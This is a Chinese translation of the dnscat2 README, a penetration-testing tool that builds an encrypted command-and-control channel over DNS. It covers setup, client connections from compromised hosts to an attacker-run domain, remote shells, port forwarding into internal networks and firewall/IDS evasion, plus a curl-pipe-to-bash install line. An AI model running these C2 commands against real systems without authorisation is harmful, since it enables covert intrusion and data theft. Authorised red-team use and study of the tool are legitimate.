基于DNS协议的加密命令与控制隧道。创建用于渗透测试的隐秘C&C通道,通过DNS查询实现文件传输、shell访问和端口转发功能。
***** 注意:.zip 下载文件的密码均为 "password"!*****
欢迎使用 dnscat2,一个不会让你生病和死亡的 DNS 隧道!
该工具旨在通过 DNS 协议创建一个加密的命令与控制(C&C)通道,这是一种能有效穿越几乎所有网络的隧道。
本 README 文件应包含您开始使用所需的一切!如果您想深入了解协议细节、代码结构、未来计划或其他深奥内容,请查看 doc/ 文件夹。
本项目基于 BSD 许可证发布。请参阅 LICENSE.md 了解更多信息。
dnscat2 由两部分组成:客户端和服务器。
客户端设计用于在受感染机器上运行。它用 C 语言编写,依赖项尽可能少。它应该可以在几乎所有平台上运行(如果您发现某个系统无法编译或运行,请提交问题,尤其是如果您能帮我获得对该系统的访问权限)。
运行客户端时,通常需要指定一个域名。所有请求都将发送到本地 DNS 服务器,然后被重定向到该域名的权威 DNS 服务器(假设您已经控制了该服务器)。
如果您没有权威 DNS 服务器,也可以使用 UDP/53(或您选择的任何端口)上的直接连接。这样速度更快,在普通观察者看来仍然像 DNS 流量,但在数据包日志中会明显得多(除非您修改源代码,否则所有域名都以 "dnscat." 开头)。这种模式经常会被防火墙阻止。
服务器设计用于在权威 DNS 服务器上运行。它使用 Ruby 编写,依赖于多个不同的 gem。运行时,与客户端类似,您需要指定它应监听的域名,同时也会监听直接发送到 UDP/53 的消息。当它接收到针对某个域名的流量时,会尝试建立逻辑连接。如果接收到其他流量,默认会忽略,但也可以将其转发到上游。
下文包含两部分的详细说明。
dnscat2 力求与其他 DNS 隧道协议不同,因为它专为特殊目的而设计:命令与控制。
它不是为了让你从酒店网络脱网,也不是为了在飞机上获得免费互联网。它不仅仅隧道化 TCP。
它可以隧道化任何数据,不附加任何协议。这意味着它可以上传和下载文件,可以运行 shell,并且能很好地完成这些任务。它也可能隧道化 TCP,但这只在渗透测试工具的上下文中添加(即,将 TCP 隧道化进入网络),而不是作为通用的隧道工具。这项工作已经完成,对我来说并不有趣。
它默认也是加密的。我不认为任何其他公开的 DNS 隧道能加密所有流量!
以下是一些重要链接:
dnscat2 的原理很简单:它通过 DNS 协议创建隧道。
为什么?因为 DNS 有一个奇妙的特性:它会在服务器之间不断传递,直到找到它应该去的地方。
这意味着,为了让 dnscat 将流量带出安全网络,它只需向 某个 DNS 服务器发送消息,该服务器会愉快地将消息通过 DNS 网络转发,直到到达 您的 DNS 服务器。
当然,这假定您有权访问权威 DNS 服务器。dnscat2 也支持"直接"连接 - 即,运行一个 dnscat 客户端直接连接到您 IP 地址和 UDP 端口 53(默认)上的 dnscat 服务器。流量仍然看起来像 DNS 流量,可能能绕过较傻的 IDS/IPS 系统,但仍可能被防火墙阻止。
如果您不清楚如何设置权威 DNS 服务器,需要与域名提供商进行设置。izhan 很贴心地为您编写了一份指南!
编译客户端应该很简单 - 您只需要 make/gcc(Linux)或 Cygwin 或 Microsoft Visual Studio(Windows)。以下是 Linux 上的命令:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
在 Windows 上,将 client/win32/dnscat2.vcproj 加载到 Visual Studio,然后点击"构建"。我在 Visual Studio 2008 上创建并测试它 - 在我获得免费合法的新版本之前,我可能会一直使用它。:)
如果编译失败,请在我的 GitHub 页面提交错误报告!请提供您系统的详细信息。
您可以通过不带任何标志运行客户端来验证 dnscat2 是否成功编译;您会看到它尝试使用您配置的 DNS 服务器启动 DNS 隧道(这会失败):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
服务器不需要"编译",但它需要一些 Ruby 依赖项。不幸的是,Ruby 依赖项可能安装起来很麻烦,所以祝你好运!如果有 Ruby 专家想帮助改进本节内容,我将不胜感激!
我假设你已经安装了 Ruby 和 Gem 并且工作正常。如果没有,请使用 apt-get、emerge、rvm 或你的操作系统常用的方式安装它们。
一旦 Ruby/Gem 安装好,运行以下命令(注意:如果你已经安装了客户端,显然可以跳过 git clone 命令;如果你已经安装了 bundler,可以跳过 gem install bundler):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
如果 gem install bundler 或 bundle install 出现权限错误,你可能需要以 root 身份运行它们。如果你遇到很多问题,请卸载 Ruby/Gem 并使用 rvm 并在非 root 用户下重新安装所有内容。
如果出现类似这样的错误:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
这意味着你需要安装 Ruby 的 -dev 版本:
$ sudo apt-get install ruby-dev
我发现 sudo 有时不足以让一切正常工作,我有时必须切换到 root 用户并直接在该账户下工作。rvmsudo 没有帮助,因为它会破坏 ctrl-z。
你可以通过不带任何标志运行服务器,并查看是否出现 dnscat2> 提示符来验证服务器是否正常工作:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
如果你不以 root 身份运行,在监听 UDP/53 时可能会遇到问题(你可以使用 --dnsport 更改端口)。如果是这种情况,你会看到一条错误消息。
如果你以 root 身份运行 Ruby 时遇到问题,以下是我首次运行时的操作:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
后续运行:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo 本应使操作更简单,但不幸的是 dnscat2 与 rvmsudo 配合不佳。
在我们讨论如何具体使用这些工具之前,先来谈谈 dnscat 的结构。dnscat 工具分为两部分:客户端和服务器。如果你经历过编译过程,就会注意到客户端是用 C 编写的,而服务器是用 Ruby 编写的。
通常,服务器先运行。它可以长期运行,并处理任意数量的客户端。正如我之前所说,它基本上是一个 C&C 服务。
随后,客户端运行,它会与服务器建立一个会话(更多关于会话的内容见下文)。会话可以穿越 DNS 层级(推荐,但更复杂),或者直接连接到服务器。穿越 DNS 层级需要一个权威域名,但可以绕过大多数防火墙。直接连接到服务器则由于多种原因而更明显。
默认情况下,连接会自动加密(可以使用客户端上的 --no-encryption 和服务器上的 --security=open 关闭)。建立新连接时,如果你担心中间人攻击,你有两种验证对端的选项:
--secret 参数传递预共享密钥来验证连接服务器 - 通常运行在特定域名的权威 DNS 服务器上 - 设计为功能丰富、交互式且用户友好。它用 Ruby 编写,其设计很大程度上受 Metasploit 和 Meterpreter 的启发。
如果你按照上述编译说明操作,应该只需要运行服务器:
$ ruby ./dnscat2.rb skullseclabs.org
其中 "skullseclabs.org" 是你自己的域名。如果你没有权威 DNS 服务器,这不是必须的;但这个工具在有权威服务器的情况下效果要好得多。
除此之外应该就够了!此外,你可以在任何其他系统上使用客户端的 --ping 命令进行测试,如果你已经编译了客户端,该命令应该可用:
$ ./dnscat --ping skullseclabs.org
如果 ping 成功,你的 C&C 服务器很可能没问题!如果你将 DNS 服务器运行在不同的端口上,或者需要使用自定义 DNS 解析器,你可以在 --ping 之外使用 --dns 标志:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
请注意,当你指定 --dns 参数时,域名必须包含在该参数中(作为 domain=xxx)。你不能仅仅在命令行上传递它(这是我命令解析的一个限制;我可能会在将来的版本中改进它)。
当进程正在运行时,你可以使用基本相同的方式来启动一个新服务器:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
只要它们位于不同的主机/端口上,你可以运行任意数量的 DNS 监听器。一旦数据进来,进程的其余部分甚至不知道数据来自哪个监听器;事实上,客户端可以将不同的数据包发送到不同的端口,会话也会按预期继续。
客户端 - 通常在受感染系统上运行 - 设计得简单、稳定且可移植。它用 C 编写,库依赖尽可能少,并且可以在 Linux、Windows、Cygwin、FreeBSD 和 Mac OS X 上本地编译/运行。
客户端在命令行上指定域名,例如:
./dnscat2 skullseclabs.org
在该示例中,它将与运行在 skullseclabs.org 上的 dnscat2 服务器创建一个 C&C 会话。如果权威域名不可用,可以改为指定一个具体的 IP 地址进行连接:
./dnscat2 --dns host=206.220.196.59,port=5353
假设该主机/端口上运行着 dnscat2 服务器,它将在此创建一个会话。
Yo dawg; 我听说你喜欢隧道,所以现在你可以通过你的隧道再隧道化一个隧道!
目前已经可以通过 dnscat2 隧道化连接,类似于 "ssh -L"!其他模式("ssh -D" 和 "ssh -R")也即将推出!
在会话启动(一个命令会话)后,使用 "listen" 命令打开一个新的隧道端口。语法大致与 ssh -L 相同:
listen [lhost:]lport rhost:rport
本地主机是可选的,默认为所有接口(0.0.0.0)。本地端口和远程主机/端口是必须的。
dnscat2 服务器将监听 lport 端口。收到的所有连接都将通过 dnscat2 客户端转发到选定的远程主机/端口。
例如,以下命令将监听端口 4444(在 服务器 上)并将流量转发到 Google:
listen 4444 www.google.com:80
然后,如果你连接到 http://localhost:4444,流量将从 dnscat2 客户端发出并连接到 google.com。
假设你在渗透测试中使用它,并希望通过 dnscat2 客户端(运行在某人公司的网络上)将 SSH 连接转发到内部设备。你可以这样做:
listen 127.0.0.1:2222 10.10.10.10:22
这将在 dnscat2 服务器的 localhost 接口上只监听,并通过隧道将连接转发到 10.10.10.10 的端口 22。
dnscat2 默认加密。
我不是密码学家,出于必要,我自己设计了加密方案。因此,我不会百分之百信任它。我认为我在防止攻击方面做得 相当 不错,但这尚未经过专业审计。请谨慎使用。
关于加密有大量技术信息,请参阅协议文档。但以下是基础知识。
默认情况下,客户端和服务器都支持并尝试加密。每个连接使用由 ECDH 协商的新密钥对。所有加密都使用 salsa20,签名使用 sha3。
加密可以通过在客户端上传递 --no-encryption 参数来禁用,或者通过使用 make nocrypto 编译来禁用。
服务器默认会拒绝未加密的连接。要允许未加密的连接,请向服务器传递 --security=open,或者在控制台上运行 set security=open。
默认情况下,没有针对中间人攻击的保护。如前所述,有两种方法可以获得 MitM 保护:预共享密钥或"短认证字符串"。
预共享密钥通过命令行传递给客户端和服务器,用于验证客户端对服务器以及服务器对客户端的身份。它应该是一个较强的值 - 不能被攻击者快速猜测(攻击者只有很短的窗口来猜测它,因此只需保持几秒钟的安全)。
预共享密钥通过客户端和服务器上的 --secret 参数传递。服务器可以在运行时使用 set secret=<new value> 更改它,但如果活动客户端已连接,这可能会产生意外结果。
此外,服务器可以通过使用 --security=authenticated 或 set security=authenticated 来强制执行 仅 允许经过身份验证的连接。如果你传递了 --secret 参数,则默认启用此功能。
如果你不需要额外的身份验证工作,则客户端和服务器都会显示一个"短认证字符串"。短认证字符串是一系列英文单词,基于双方共享的秘密值派生而来。
如果客户端和服务器上打印的英文单词集合相同,则可以合理认为连接是安全的。
关于加密,这些差不多就是你需要知道的了!详情请参阅协议文档!我也非常希望听到任何关于加密的反馈。:)
最后,如果你遇到任何加密问题,请告诉我!默认情况下,启动时会创建一个名为 "crypto-debug" 的窗口。如果你有加密问题,请将该日志发送给我!或者,更好的是,使用 --firehose 和 --packet-trace 参数运行 dnscat2,并将 所有内容 发送给我!不用担心泄露私钥;它们仅用于该特定会话。
dnscat2 用户界面由多个窗口组成。默认窗口称为 'main' 窗口。你可以在任何命令提示符下输入 windows(或 sessions)来获取窗口列表:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
你会注意到有两个窗口 - 窗口 0 是主窗口,窗口 dns1 是监听器(技术上称为 'tunnel driver')。
在任何接受命令的窗口(main 和命令会话)中,你可以输入 help 获取命令列表:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
对于这些命令中的任何一个,你可以使用 -h 或 --help 获取详细信息:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
我们将使用 window 命令与 dns1(状态窗口)交互:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
那里的接收和发送字符串(如果解码)实际上是 ping 数据包。
你可以通过按 ctrl-z 切换到“父”窗口(本例中为 main)。如果 ctrl-z 杀死了进程,那么你可能需要找到更好的运行方式(rvmsudo 不行,见上文)。
当新客户端连接并创建会话时,你会在 main(以及其他某些窗口)中收到通知:
New window created: 1
dnscat2>
(注意:你需要按回车才能重新获得提示符)
你可以像之前切换到 dns1 状态窗口那样切换到新窗口:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
命令会话可以创建额外的会话;例如,shell 命令:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(注意:在整个文档中,我对输出做了一些清理;通常你需要按回车才能重新获得提示符)
然后,如果你返回主会话(按 ctrl-z 或使用 suspend),你会看到它出现在窗口列表中:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
不幸的是,特定命令会话中的 windows 命令只显示来自该会话的子窗口,而现在新会话并不是作为子会话生成的。
注意,有些会话带有 [*] —— 这表示自从我们上次查看它们以来,它们有活动。
当与会话交互时,界面会根据会话类型而不同。正如你在默认会话类型(命令会话)中看到的,你会得到一个类似于顶层会话的界面(你可以输入 help 或运行命令等)。然而,如果你与一个“shell”会话交互,一开始你不会看到太多内容,直到你输入一个命令:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
要退出,你可以使用 ctrl-z 或输入 "exit"(这会终止会话)。
最后,要杀死一个会话,可以使用 kill 命令:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
过去有一些 DNS 隧道工具。其中一个是 dnscat,由 Tadek Pietraszek 编写。问题是它是用 Java 编写的,而我非常想要一个几乎可以在任何地方运行的工具。
那个版本的 dnscat 基于一个叫做 NSTX 的工具,它的页面已经不存在了,甚至在 Wayback Machine 里也找不到,所以我对它一无所知。
后来,我用 C 语言编写了一个实现,并称之为 dnscat(未经许可),因为之前的 Java 版本已经无人维护,而且我非常喜欢这个名字(我曾考虑过叫它 dnscat-ng,但 -ng 对我来说有点冗长)。它虽然能用,但有很多问题。客户端和服务器是同一个工具,就像 netcat 一样,但由于 DNS 是客户端/服务器模型,这并不太好用。另一个问题是我把它与 DNS 协议绑定得太紧密,所以它只能通过 DNS 运行。
dnscat2 —— dnscat 的继承者 —— 试图修正我之前犯的一些错误。dnscat2 有独立的服务器(Ruby)和客户端(C),将所有内容视为字节流,并使用某种驱动程序将字节流转换为 DNS 请求再转换回来。因此,它是一个分层协议,其中 DNS 是底层。
因此,我发明了一个我称之为 dnscat 协议的协议。你可以在 docs/protocol.md 中找到相关文档。这是一个简单的轮询网络协议,客户端定期轮询服务器,服务器用消息(或错误码)响应。该协议旨在应对我之前在 dnscat1 中遇到的各种问题 —— 也就是说,它可以很好地处理乱序、丢失和重复的数据包。